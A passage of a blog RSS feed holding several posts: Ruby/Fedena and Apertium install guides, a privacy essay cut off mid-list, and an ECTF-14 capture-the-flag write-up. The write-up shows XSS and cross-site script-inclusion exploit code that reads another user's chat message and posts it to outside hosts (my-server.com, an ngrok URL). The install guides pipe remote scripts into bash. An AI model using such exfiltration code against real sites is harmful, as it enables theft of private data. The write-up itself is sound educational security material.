<p>Any author that Patrick wanted to kill sounded like a great one to read, so I started “The Alloy of Law”. I finished the book in a few short hours. Its paced excellently, and the action keeps on coming. I’d never really read much urban fantasy before, and despite me never having read Mistborn (Alloy is a sequel to the Mistborn trilogy) I was sucked in.</p>

<p>And here I am, counting down the next few days, waiting for the release of <a href="https://www.goodreads.com/book/show/15704459.Firefight" title="Firefight, by Brandon Sanderson">Firefight</a>, Sanderson’s next book.</p>

<p>So, thank you Pat. Thanks for introducing me to my favorite writer. Thank you for writing those wonderful books, and keep on reviewing all that you love (I’m reading <a href="https://www.goodreads.com/book/show/18659623-through-the-woods" title="Through the Woods, by Emily Carroll">“Through the Woods”</a> next).</p>

<p>If you are looking for a nice fat book to read next, I heartily recommend <a href="https://www.goodreads.com/book/show/186074.The_Name_of_the_Wind" title="The Name of the Wind, by Patrick Rothfuss">“The Name of the Wind”</a> and <a href="https://www.goodreads.com/book/show/7235533-the-way-of-kings" title="Way of Kings, by Brandon Sanderson">“The Way of Kings”</a>.</p>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Installing Project Fedena in Ubuntu 14.04]]></title>
            <link>https://aboobacker.in/2014/10/30/installing-project-fedena-in-14-04.html</link>
            <guid isPermaLink="false">https://aboobacker.in/2014/10/30/installing-project-fedena-in-14-04.html</guid>
            <pubDate>Thu, 30 Oct 2014 11:06:20 GMT</pubDate>
            <description><![CDATA[Modified version of Fedena Installation guide at project fedena website
Install Ruby Dependancies

sudo apt-get update
sudo apt-get install git-core curl zlib1g-dev build-essential libssl-dev libreadline-dev libyaml-dev libsqlite3-dev sqlite3 libxml2-dev libxslt1-dev libcurl4-openssl-dev python-software-properties


Install Ruby Using RVM

sudo apt-get install libgdbm-dev libncurses5-dev automake libtool bison libffi-dev
curl -L https://get.rvm.io | bash -s stable
source ~/.rvm/scripts/rvm
echo "source ~/.rvm/scripts/rvm" >> ~/.bashrc
rvm install 1.8.7
rvm use 1.8.7 --default
ruby -v


Install Rails 2.3.5

gem install rails -v 2.3.5


Setting up MySQL server
Fedena uses mysql, so run,

sudo apt-get install libmysqlclient-dev mysql-server


Do remember the mysql password you set during this step, it is required later
Clone Fedena Source Code
```bash
git clone https://github.com/projectfedena/fedena.git


* Setup your database details in the database.yml


Open the file database.yml in the config folder of the fedena soucre. Change the following details:

database: fedena - The name of the database you want to use for fedena

username: root - Mysql username for fedena

password: mypass - The password for the above mysql user


* Install the rest of the gems

```bash
gem uninstall -i ~/.rvm/gems/ruby-1.8.7-head@global rake
gem install rake -v 0.8.7
gem install declarative_authorization -v 0.5.1
gem install i18n -v 0.4.2
gem install mysql
gem install rush -v 0.6.8
gem update --system 1.3.7


Set up Fedena databases
From the Fedena source directory in terminal run,

rake db:create
rake db:migrate


followed by,

rake fedena:plugins:install_all


Set up pdf setings

sudo apt-get install wkhtmltopdf
cd config/initializers
cp wicked_pdf.rb.example wicked_pdf.rb
vi wicked_pdf.rb


now change :wkhtmltopdf => ‘/opt/wkhtmltopdf’, to :wkhtmltopdf => ‘/usr/bin/wkhtmltopdf’,
save the file
Setup Email

cd config
cp smtp_settings.yml.example smtp_settings.yml
vi smtp_settings.yml


Add your settings and save the file
Setup Sms

cd config
vi sms_settings.yml


Add your settings and save the file
Change permissions for scripts
From the same directory grant executable permissions for the files in script directory by,

chmod +x script/*


Run the inbuilt server
If everything went fine till now, you are ready to run fedena server by running the following from fedena source folder,

script/server


Note: This guide is for setting development environment , for fedena deployment refer Deploying Fedena in 14.04.]]></description>
            <content:encoded><![CDATA[<p>Modified version of Fedena Installation guide at project fedena website</p>

<ul>
  <li>Install Ruby Dependancies</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt-get update
<span class="nb">sudo </span>apt-get <span class="nb">install </span>git-core curl zlib1g-dev build-essential libssl-dev libreadline-dev libyaml-dev libsqlite3-dev sqlite3 libxml2-dev libxslt1-dev libcurl4-openssl-dev python-software-properties
</code></pre></div></div>

<ul>
  <li>Install Ruby Using RVM</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt-get <span class="nb">install </span>libgdbm-dev libncurses5-dev automake libtool bison libffi-dev
curl <span class="nt">-L</span> https://get.rvm.io | bash <span class="nt">-s</span> stable
<span class="nb">source</span> ~/.rvm/scripts/rvm
<span class="nb">echo</span> <span class="s2">"source ~/.rvm/scripts/rvm"</span> <span class="o">&gt;&gt;</span> ~/.bashrc
rvm <span class="nb">install </span>1.8.7
rvm use 1.8.7 <span class="nt">--default</span>
ruby <span class="nt">-v</span>
</code></pre></div></div>

<ul>
  <li>Install Rails 2.3.5</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gem <span class="nb">install </span>rails <span class="nt">-v</span> 2.3.5
</code></pre></div></div>

<ul>
  <li>Setting up MySQL server
Fedena uses mysql, so run,</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt-get <span class="nb">install </span>libmysqlclient-dev mysql-server
</code></pre></div></div>
<p>Do remember the mysql password you set during this step, it is required later</p>

<ul>
  <li>Clone Fedena Source Code
```bash</li>
</ul>

<p>git clone https://github.com/projectfedena/fedena.git</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
* Setup your database details in the database.yml


Open the file database.yml in the config folder of the fedena soucre. Change the following details:

database: fedena - The name of the database you want to use for fedena

username: root - Mysql username for fedena

password: mypass - The password for the above mysql user


* Install the rest of the gems

```bash
gem uninstall -i ~/.rvm/gems/ruby-1.8.7-head@global rake
gem install rake -v 0.8.7
gem install declarative_authorization -v 0.5.1
gem install i18n -v 0.4.2
gem install mysql
gem install rush -v 0.6.8
gem update --system 1.3.7
</code></pre></div></div>
<ul>
  <li>Set up Fedena databases</li>
</ul>

<p>From the Fedena source directory in terminal run,</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rake db:create
rake db:migrate
</code></pre></div></div>

<p>followed by,</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rake fedena:plugins:install_all
</code></pre></div></div>

<ul>
  <li>Set up pdf setings</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt-get <span class="nb">install </span>wkhtmltopdf
<span class="nb">cd </span>config/initializers
<span class="nb">cp </span>wicked_pdf.rb.example wicked_pdf.rb
vi wicked_pdf.rb
</code></pre></div></div>
<p>now change :wkhtmltopdf =&gt; ‘/opt/wkhtmltopdf’, to :wkhtmltopdf =&gt; ‘/usr/bin/wkhtmltopdf’,
save the file</p>

<ul>
  <li>Setup Email</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd </span>config
<span class="nb">cp </span>smtp_settings.yml.example smtp_settings.yml
vi smtp_settings.yml
</code></pre></div></div>
<p>Add your settings and save the file</p>

<ul>
  <li>Setup Sms</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd </span>config
vi sms_settings.yml
</code></pre></div></div>
<p>Add your settings and save the file</p>

<ul>
  <li>Change permissions for scripts</li>
</ul>

<p>From the same directory grant executable permissions for the files in script directory by,</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">chmod</span> +x script/<span class="k">*</span>
</code></pre></div></div>
<ul>
  <li>Run the inbuilt server</li>
</ul>

<p>If everything went fine till now, you are ready to run fedena server by running the following from fedena source folder,</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>script/server
</code></pre></div></div>

<p>Note: This guide is for setting development environment , for fedena deployment refer <a href="http://aboobacker.in/deploying-fedena-using-ubuntu-14-04/">Deploying Fedena in 14.04</a>.</p>]]></content:encoded>
            <author>Aboobacker M K</author>
            <enclosure url="https://aboobacker.in/%7B%22feature%22=%3Enil%7D" length="0" type="image//%7B%22feature%22=%3Enil%7D"/>
        </item>
        <item>
            <title><![CDATA[ECTF-14 Web400 Writeup]]></title>
            <link>https://captnemo.in/blog/2014/10/20/ectf-web400-writeup/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2014/10/20/ectf-web400-writeup/</guid>
            <pubDate>Mon, 20 Oct 2014 00:00:00 GMT</pubDate>
            <description><![CDATA[We recently participated in ECTF-14 and it was a great experience. Here’s a writeup to the web400 challenge:
Problem Statement
The chat feature was added to Facelook website and to test it, founder of the company had sent a message in chat to the admin. Admin reads all the chat messages, but does not reply to anyone. Try to get that chat message and earn the bounty.
[Annoying Admin]
The challenge consisted of a simple signup and a chat message sending feature, where anyone could send a chat message to anyone. However, on the loading side, the chat message was loaded using Javascript. The code for loading the messages looked like this:

function load_messages (id) {
    $.ajax({
    url: "http://212.71.235.214:4050/chat",
    data: {
        sender: id,
    },
    success: function( response ) {
        eval(response);
    }
    });
}


The url above responded as the following:

$('#chat_234').html('');$('#chat_234').append('dream<br />');


Where dream was the message I sent. My first attempt was to break out of the append function, and execute my own javascript, by trivially using a single quote. Unfortunately, the single quote was escaped and removed by the backend.
Next, I tried using &#x27; instead of a single quote, and it worked:
Message Sent: &#x27;+alert(1)+&#x27; 
Message received: $('#chat_234').html('');$('#chat_234').append('dream<br />');$('#chat_234').append(''+alert(1)+'<br />');
This seemed simple enough to exploit as XSS, so I quickly wrote up my exploit:
$.get(‘/chat?sender=2’, function(data){
  $.post(“http://my-server.com/ectf/index.php”, {content: data});
});
This utilized the fact that we knew Founder’s user id to be 2. The code worked perfectly fine with my test accounts, but something weird happened when the challenge server (admin) ran it. I would get a GET request on the above mentioned url, instead of a POST. Also attempting to generate the URL using concat or + or any operator such as : "http://my-server.com/index.php?data="+document.cookie made a request to http://my-server.com/index.php?data=. Anything I appended was just ignored, plain and simple.
After attempting to get a POST request with cookie or session data for a lot of time, I realized that the problem was not XSS, but rather a CSRF attack. This was because the data was being loaded in a Javascript request, instead of JSON. Javascript request (using a script tag) can be made across domains, which meant that any website could access the data by using the proper script tag. We just had to add a script tag with its src set to http://212.71.235.214:4050/chat?sender=2. This would automatically add the chat message to a div with id chat_2.
The only issue was that Admin had to visit our site, with proper cookies, and we know already that admin has been sniffing for links and visiting them. So I wrote up my second (this time working) exploit:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <title>ECTF14 web400 exploit</title>
</head>
<body>
  <div id="chat_2"></div>
  <div id="chat_106"></div>
  <script src="http://code.jquery.com/jquery-1.11.0.min.js"></script>
  <script>
    $(document).ready(function(){
      $.getScript("http://212.71.235.214:4050/chat?sender=2");
      setTimeout(function(){
        var text = $('#chat_2').text();
        $.post('http://20c7d53b.ngrok.com/', {content:text});
      }, 1000);
    })
  </script>
</body>
</html>


Unfortunately, the exploit did not work on Chrome because Chrome refused to run the script as javascript, because it was being served with a mime-type of text/html. It worked in firefox, and I crossed my fingers as I sent out the link to the above page to admin in a chat message. I knew admin user was using PhantomJS to run my javascript (because of the user-agent in numerous GET requests I got earlier). So, I was hopeful that this would work.
I was listening at the url, and sure enough as soon as I sent a link out to this page, admin ran my javascript and I got the flag in a POST request.
The flag was bad_js_is_vulnerable.]]></description>
            <content:encoded><![CDATA[<p>We recently participated in <a href="https://github.com/ctfs/write-ups-2014/tree/master/ectf-2014">ECTF-14</a> and it was a great experience. Here’s a writeup to the web400 challenge:</p>

<h3 id="problem-statement">Problem Statement</h3>

<blockquote>
  <p>The chat feature was added to Facelook website and to test it, founder of the company had sent a message in chat to the admin. Admin reads all the chat messages, but does not reply to anyone. Try to get that chat message and earn the bounty.
[Annoying Admin]</p>
</blockquote>

<p>The challenge consisted of a simple signup and a chat message sending feature, where anyone could send a chat message to anyone. However, on the loading side, the chat message was loaded using Javascript. The code for loading the messages looked like this:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nf">load_messages</span> <span class="p">(</span><span class="nx">id</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">$</span><span class="p">.</span><span class="nf">ajax</span><span class="p">({</span>
    <span class="na">url</span><span class="p">:</span> <span class="dl">"</span><span class="s2">http://212.71.235.214:4050/chat</span><span class="dl">"</span><span class="p">,</span>
    <span class="na">data</span><span class="p">:</span> <span class="p">{</span>
        <span class="na">sender</span><span class="p">:</span> <span class="nx">id</span><span class="p">,</span>
    <span class="p">},</span>
    <span class="na">success</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span> <span class="nx">response</span> <span class="p">)</span> <span class="p">{</span>
        <span class="nf">eval</span><span class="p">(</span><span class="nx">response</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="p">});</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The url above responded as the following:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$('#chat_234').html('');$('#chat_234').append('dream&lt;br /&gt;');
</code></pre></div></div>

<p>Where <code class="language-plaintext highlighter-rouge">dream</code> was the message I sent. My first attempt was to break out of the append function, and execute my own javascript, by trivially using a single quote. Unfortunately, the single quote was escaped and removed by the backend.</p>

<p>Next, I tried using <code class="language-plaintext highlighter-rouge">&amp;#x27;</code> instead of a single quote, and it worked:</p>

<p>Message Sent: <code class="language-plaintext highlighter-rouge">&amp;#x27;+alert(1)+&amp;#x27; </code>
Message received: <code class="language-plaintext highlighter-rouge">$('#chat_234').html('');$('#chat_234').append('dream&lt;br /&gt;');$('#chat_234').append(''+alert(1)+'&lt;br /&gt;');</code></p>

<p>This seemed simple enough to exploit as XSS, so I quickly wrote up my exploit:</p>

<p>$.get(‘/chat?sender=2’, function(data){
  $.post(“http://my-server.com/ectf/index.php”, {content: data});
});</p>

<p>This utilized the fact that we knew Founder’s user id to be <code class="language-plaintext highlighter-rouge">2</code>. The code worked perfectly fine with my test accounts, but something weird happened when the challenge server (admin) ran it. I would get a <code class="language-plaintext highlighter-rouge">GET</code> request on the above mentioned url, instead of a POST. Also attempting to generate the URL using concat or + or any operator such as : <code class="language-plaintext highlighter-rouge">"http://my-server.com/index.php?data="+document.cookie</code> made a request to <code class="language-plaintext highlighter-rouge">http://my-server.com/index.php?data=</code>. Anything I appended was just ignored, plain and simple.</p>

<p>After attempting to get a POST request with cookie or session data for a lot of time, I realized that the problem was not XSS, but rather a CSRF attack. This was because the data was being loaded in a Javascript request, instead of JSON. Javascript request (using a script tag) can be made across domains, which meant that any website could access the data by using the proper script tag. We just had to add a script tag with its src set to <code class="language-plaintext highlighter-rouge">http://212.71.235.214:4050/chat?sender=2</code>. This would automatically add the chat message to a div with id <code class="language-plaintext highlighter-rouge">chat_2</code>.</p>

<p>The only issue was that Admin had to visit our site, with proper cookies, and we know already that admin has been sniffing for links and visiting them. So I wrote up my second (this time working) exploit:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;!DOCTYPE html&gt;</span>
<span class="nt">&lt;html</span> <span class="na">lang=</span><span class="s">"en"</span><span class="nt">&gt;</span>
<span class="nt">&lt;head&gt;</span>
  <span class="nt">&lt;meta</span> <span class="na">charset=</span><span class="s">"utf-8"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;title&gt;</span>ECTF14 web400 exploit<span class="nt">&lt;/title&gt;</span>
<span class="nt">&lt;/head&gt;</span>
<span class="nt">&lt;body&gt;</span>
  <span class="nt">&lt;div</span> <span class="na">id=</span><span class="s">"chat_2"</span><span class="nt">&gt;&lt;/div&gt;</span>
  <span class="nt">&lt;div</span> <span class="na">id=</span><span class="s">"chat_106"</span><span class="nt">&gt;&lt;/div&gt;</span>
  <span class="nt">&lt;script</span> <span class="na">src=</span><span class="s">"http://code.jquery.com/jquery-1.11.0.min.js"</span><span class="nt">&gt;&lt;/script&gt;</span>
  <span class="nt">&lt;script&gt;</span>
    $(document).ready(function(){
      $.getScript("http://212.71.235.214:4050/chat?sender=2");
      setTimeout(function(){
        var text = $('#chat_2').text();
        $.post('http://20c7d53b.ngrok.com/', {content:text});
      }, 1000);
    })
  <span class="nt">&lt;/script&gt;</span>
<span class="nt">&lt;/body&gt;</span>
<span class="nt">&lt;/html&gt;</span>
</code></pre></div></div>

<p>Unfortunately, the exploit did not work on Chrome because Chrome refused to run the script as javascript, because it was being served with a mime-type of <code class="language-plaintext highlighter-rouge">text/html</code>. It worked in firefox, and I crossed my fingers as I sent out the link to the above page to admin in a chat message. I knew admin user was using PhantomJS to run my javascript (because of the user-agent in numerous GET requests I got earlier). So, I was hopeful that this would work.</p>

<p>I was listening at the url, and sure enough as soon as I sent a link out to this page, admin ran my javascript and I got the flag in a POST request.</p>

<p>The flag was <code class="language-plaintext highlighter-rouge">bad_js_is_vulnerable</code>.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Apertium Malayalam-english Pair Tools Usage and Directory Structure]]></title>
            <link>https://aboobacker.in/2014/08/20/apertium-malayalam-english-pair-tools-usage-and-directory-structure.html</link>
            <guid isPermaLink="false">https://aboobacker.in/2014/08/20/apertium-malayalam-english-pair-tools-usage-and-directory-structure.html</guid>
            <pubDate>Wed, 20 Aug 2014 02:03:25 GMT</pubDate>
            <description><![CDATA[Apertium malayalam english pair contain two directories
apertium-mal -> conatins malayalam specific rules and resources
apertium-mal-eng ->contains translation rules
Apertium-mal
apertium-mal.mal.lexc  -> contain mono lingual dictionary in lexec format , it is contain morphotactics rules
apertium-mal.mal.twol -> contain morphophonology rules (changes when morphemes are joined together)
apertium-mal.mal.tsx ->tag set to train the tagger
apertium-mal.mal.rlx  -> constarint grammar rules
Apertium-mal-eng
apertium-mal-eng.eng.dix -> mono lingual dictionary for english in lttoolbox format
apertium-mal-eng.post-eng.dix -> English post generator
apertium-mal-eng.eng-mal.t1x – > english to malayalam chunker
apertium-mal-eng.eng-mal.t2x -> english to malayalam interchunk
apertium-mal-eng.eng-mal.t3x ->english to malayalam post chunk
Translation

cd apertium-mal-eng
echo “മലയാളം വാക്യം ” | apertium -d . mal-eng


where
-d . -> directory=current directory
mal-eng -> malayalam english mode
Morphological analyser

echo “മലയാളം “| lt-proc mal-eng.automorf.bin


GUI for translator

Step by step process view (Developer ->Modes viewer)]]></description>
            <content:encoded><![CDATA[<p>Apertium malayalam english pair contain two directories</p>

<ol>
  <li>apertium-mal -&gt; conatins malayalam specific rules and resources</li>
  <li>apertium-mal-eng -&gt;contains translation rules</li>
</ol>

<ul>
  <li>Apertium-mal</li>
</ul>

<ol>
  <li>apertium-mal.mal.lexc  -&gt; contain mono lingual dictionary in lexec format , it is contain morphotactics rules</li>
  <li>apertium-mal.mal.twol -&gt; contain morphophonology rules (changes when morphemes are joined together)</li>
  <li>apertium-mal.mal.tsx -&gt;tag set to train the tagger</li>
  <li>apertium-mal.mal.rlx  -&gt; constarint grammar rules</li>
</ol>

<ul>
  <li>Apertium-mal-eng</li>
</ul>

<ol>
  <li>apertium-mal-eng.eng.dix -&gt; mono lingual dictionary for english in lttoolbox format</li>
  <li>apertium-mal-eng.post-eng.dix -&gt; English post generator</li>
  <li>apertium-mal-eng.eng-mal.t1x – &gt; english to malayalam chunker</li>
  <li>apertium-mal-eng.eng-mal.t2x -&gt; english to malayalam interchunk</li>
  <li>apertium-mal-eng.eng-mal.t3x -&gt;english to malayalam post chunk</li>
</ol>

<h2 id="translation">Translation</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd </span>apertium-mal-eng
<span class="nb">echo</span> “മലയാളം വാക്യം ” | apertium <span class="nt">-d</span> <span class="nb">.</span> mal-eng
</code></pre></div></div>
<p>where</p>

<p>-d . -&gt; directory=current directory</p>

<p>mal-eng -&gt; malayalam english mode</p>

<h2 id="morphological-analyser">Morphological analyser</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> “മലയാളം “| lt-proc mal-eng.automorf.bin
</code></pre></div></div>

<h2 id="gui-for-translator">GUI for translator</h2>
<p><img src="https://aboobacker.in/images/mltranslator.png" alt="Qt GUI" /></p>

<h2 id="step-by-step-process-view-developer--modes-viewer">Step by step process view (Developer -&gt;Modes viewer)</h2>

<p><img src="https://aboobacker.in/images/modes.png" alt="Modes viewer" /></p>]]></content:encoded>
            <author>Aboobacker M K</author>
            <enclosure url="https://aboobacker.in/%7B%22feature%22=%3Enil%7D" length="0" type="image//%7B%22feature%22=%3Enil%7D"/>
        </item>
        <item>
            <title><![CDATA[Install Apertium Malayalam-english Pair Development Environment in Ubuntu]]></title>
            <link>https://aboobacker.in/2014/08/20/install-apertium-malayalam-english-pair-development-environment-in-ubuntu.html</link>
            <guid isPermaLink="false">https://aboobacker.in/2014/08/20/install-apertium-malayalam-english-pair-development-environment-in-ubuntu.html</guid>
            <pubDate>Wed, 20 Aug 2014 01:43:36 GMT</pubDate>
            <description><![CDATA[Apertium is an open source machine translation toolkit .It is an extensible platform so that new language pairs can be added easily . It is currently in incubator state , we have to do a lot to to make it useful for translation of real life examples . I created ppas for the tools to make the process easier
Platform : ubuntu :14.04
Add repositories

wget http://apertium.projectjj.com/apt/install-nightly.sh -O - | sudo bash
sudo add-apt-repository ppa:tinodidriksen/cg3


Install tools

sudo apt-get update
sudo apt-get -f install locales build-essential automake subversion pkg-config gawk libtool apertium-all-dev



Install English Malayalam pair data


svn co https://svn.code.sf.net/p/apertium/svn/incubator/apertium-mal-eng/
svn co https://svn.code.sf.net/p/apertium/svn/incubator/apertium-mal


Compile

cd ~/apertium-mal
./autogen.sh
make
cd ~/apertium-mal-eng
./autogen.sh --with-lang1=../apertium-mal
make


Installation is over , now you can test the system using

echo " അവന്‍ നല്ല കുട്ടിയാണ്  " | apertium -d . mal-eng


This will print
he is nice child
Prefer Graphical user interface ? , you can try my simple gui for it

sudo apt-get install qt5-default espeak
git clone https://github.com/tachyons/mltranslator.git
cd mltranslator
qmake
make
sudo make install


Stuck ? Don’t worry just comment below . :-)]]></description>
            <content:encoded><![CDATA[<p>Apertium is an open source machine translation toolkit .It is an extensible platform so that new language pairs can be added easily . It is currently in incubator state , we have to do a lot to to make it useful for translation of real life examples . I created ppas for the tools to make the process easier</p>

<p>Platform : ubuntu :14.04</p>

<ul>
  <li>Add repositories</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wget http://apertium.projectjj.com/apt/install-nightly.sh <span class="nt">-O</span> - | <span class="nb">sudo </span>bash
<span class="nb">sudo </span>add-apt-repository ppa:tinodidriksen/cg3
</code></pre></div></div>

<ul>
  <li>Install tools</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt-get update
<span class="nb">sudo </span>apt-get <span class="nt">-f</span> <span class="nb">install </span>locales build-essential automake subversion pkg-config gawk libtool apertium-all-dev

</code></pre></div></div>

<ul>
  <li>Install English Malayalam pair data</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
svn co https://svn.code.sf.net/p/apertium/svn/incubator/apertium-mal-eng/
svn co https://svn.code.sf.net/p/apertium/svn/incubator/apertium-mal
</code></pre></div></div>

<ul>
  <li>Compile</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> ~/apertium-mal
./autogen.sh
make
<span class="nb">cd</span> ~/apertium-mal-eng
./autogen.sh <span class="nt">--with-lang1</span><span class="o">=</span>../apertium-mal
make
</code></pre></div></div>

<ul>
  <li>Installation is over , now you can test the system using</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">" അവന്‍ നല്ല കുട്ടിയാണ്  "</span> | apertium <span class="nt">-d</span> <span class="nb">.</span> mal-eng
</code></pre></div></div>

<p>This will print
he is nice child</p>
<ul>
  <li>Prefer Graphical user interface ? , you can try my simple gui for it</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt-get <span class="nb">install </span>qt5-default espeak
git clone https://github.com/tachyons/mltranslator.git
<span class="nb">cd </span>mltranslator
qmake
make
<span class="nb">sudo </span>make <span class="nb">install</span>
</code></pre></div></div>
<p>Stuck ? Don’t worry just comment below . :-)</p>]]></content:encoded>
            <author>Aboobacker M K</author>
            <enclosure url="https://aboobacker.in/%7B%22feature%22=%3Enil%7D" length="0" type="image//%7B%22feature%22=%3Enil%7D"/>
        </item>
        <item>
            <title><![CDATA[Living a public life as a privacy advocate]]></title>
            <link>https://captnemo.in/blog/2014/08/14/my-public-life/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2014/08/14/my-public-life/</guid>
            <pubDate>Thu, 14 Aug 2014 00:00:00 GMT</pubDate>
            <description><![CDATA[If you’ve known me for a while, you might know me as a privacy conscious individual or perhaps as someone who leads a very public life. The truth is that I lead both these lives; and while that may sound oxymoronic to some, its perfectly clear to me.
I’m a huge privacy advocate. I still remember the day I woke up and read about PRISM first thing in the morning. My reaction was a mix of disbelief, anger, and frustration. In the aftermath of the PRISM reveal, I made a few choices: I would retain ownership of my data, and I’ll do whatever I can to promote tools that help you do this.
I’m still working on both fronts, but the reality of the situation is that we are surrounded by walled gardens. I decided to make the best I could of these gardens. I remember reading a weird suggestion: only post public stuff on facebook; and I was somehow convinced to try it out.
But I took the experiment a step further. If the service is something I can’t control myself (say self-hosted), everything I do with it should be for public-viewing. Since then, I’ve rarely posted anything private on facebook.
Other services where I follow the same advice include:
Goodreads - Whatever I read is public information, along with real-time updates of my reading habits.
Last.FM - All my music tastes, along with real-time upates on what I’m listening to.
Facebook - All of my posts on facebook are public. I do have some private messaging interactions on facebook (I never initiate them) and usually move them to email if they grow important.
Twitter - Tiny byte-sized thoughts and observations are again, public. My account is set to public, which doesn’t mean that I trust twitter with my data. It just means that I expect my data to be public.
GitHub - One of the few companies I trust to keep my data safe. Barring a few exceptions, everything I do on github is public, ready for anyone to analyze and use as public data. In fact, github makes all of its timeline data available to public as a dataset on bigquery.
Bookmarks - Most of my bookmarks are public via xmarks. I haven’t synced it in a while since XMarks and Chrome Sync don’t work well together, but plan to do something about this as well.
Along with all this, most of the writing I do these days is for public consumption, either via my Blog, or some platform like Quora, StackExchange, or Medium.
Why
My reasoning behind keeping all of my online life public is twofold:
This creates a public archive of my life, accessible to everyone.
It doesn’t give me an illusion of privacy when there is none.
In reference to (1) above, I recently setup Google Inactive Accounts, and have to commend Google on the execution of the concept. Be sure to check it out at https://www.google.com/settings/account/inactive.
Disadvantages
This lifestyle choice is not without its comebacks. Stalking me, for example, is very easy. So is probably impersonating me as well. However, these are risks I’m willing to take in order to lead a public life.
Exceptions
By now you might be thinking of me as a pro-facebook share-everything kind of guy. But that’s not completely true. I do have clear limits on what counts as public and what does not. I value my privacy (and that of those close to me) very dearly.
For instance, I count my photographs as something very private. I almost never post public updates anywhere with my picture in it. Perhaps its because I never had any phone with decent camera. Whatever the reason, I try really hard to keep my pictures off the internet.
Another related issue is when the update would involve someone beside me. For example, my sister was recently engaged and I didn’t go on a social update spree telling the whole world about it, because I value her privacy.
My simple rule of thumb is to ask for permission, rather than beg for forgiveness as a person’s privacy is far more important.]]></description>
            <content:encoded><![CDATA[<p>If you’ve known me for a while, you might know me as a privacy conscious individual or perhaps as someone who leads a very public life. The truth is that I lead both these lives; and while that may sound oxymoronic to some, its perfectly clear to me.</p>

<p>I’m a huge privacy advocate. I still remember the day I woke up and read about PRISM first thing in the morning. My reaction was a mix of disbelief, anger, and frustration. In the aftermath of the PRISM reveal, I made a few choices: I would retain ownership of my data, and I’ll do whatever I can to promote tools that help you do this.</p>

<p>I’m still working on both fronts, but the reality of the situation is that we are surrounded by walled gardens. I decided to make the best I could of these gardens. I remember reading a weird suggestion: only post public stuff on facebook; and I was somehow convinced to try it out.</p>

<p>But I took the experiment a step further. If the service is something I can’t control myself (say self-hosted), everything I do with it should be for public-viewing. Since then, I’ve rarely posted anything private on facebook.</p>

<p>Other services where I follow the same advice include:</p>

<ul>
  <li><strong><a href="https://goodreads.com/captn3m0" title="My goodreads profile">Goodreads</a></strong> - Whatever I read is public information, along with real-time updates of my reading habits.</li>
  <li><strong><a href="http://www.last.fm/user/captn3m0" title="My last.fm profile page">Last.FM</a></strong> - All my music tastes, along with real-time upates on what I’m listening to.</li>
  <li><strong><a href="https://facebook.com/capt.n3m0" title="My facebook profile">Facebook</a></strong> - All of my posts on facebook are public. I do have some private messaging interactions on facebook (I never initiate them) and usually move them to email if they grow important.</li>
  <li><strong><a href="https://twitter.com/captn3m0" title="My twitter account">Twitter</a></strong> - Tiny byte-sized thoughts and observations are again, public. My account is set to public, which doesn’t mean that I trust twitter with my data. It just means that I expect my data to be public.</li>
  <li><strong><a href="https://github.com/captn3m0" title="My github account">GitHub</a></strong> - One of the few companies I trust to keep my data safe. Barring a few exceptions, everything I do on github is public, ready for anyone to analyze and use as public data. In fact, github makes all of its timeline data available to public as a dataset on bigquery.</li>
  <li><strong><a href="http://share.xmarks.com/folder/bookmarks/Jy4cCyZzZR" title="My Shared public bookmarks">Bookmarks</a></strong> - Most of my bookmarks are public via xmarks. I haven’t synced it in a while since XMarks and Chrome Sync don’t work well together, but plan to do something about this as well.</li>
</ul>

<p>Along with all this, most of the writing I do these days is for public consumption, either via my Blog, or some platform like <a href="https://www.quora.com/Abhay-Rana" title="My Quora profile">Quora</a>, StackExchange, or Medium.</p>

<h2 id="why">Why</h2>
<p>My reasoning behind keeping all of my online life public is twofold:</p>

<ol>
  <li>This creates a public archive of my life, accessible to everyone.</li>
  <li>It doesn’t give me an illusion of privacy when there is none.</li>
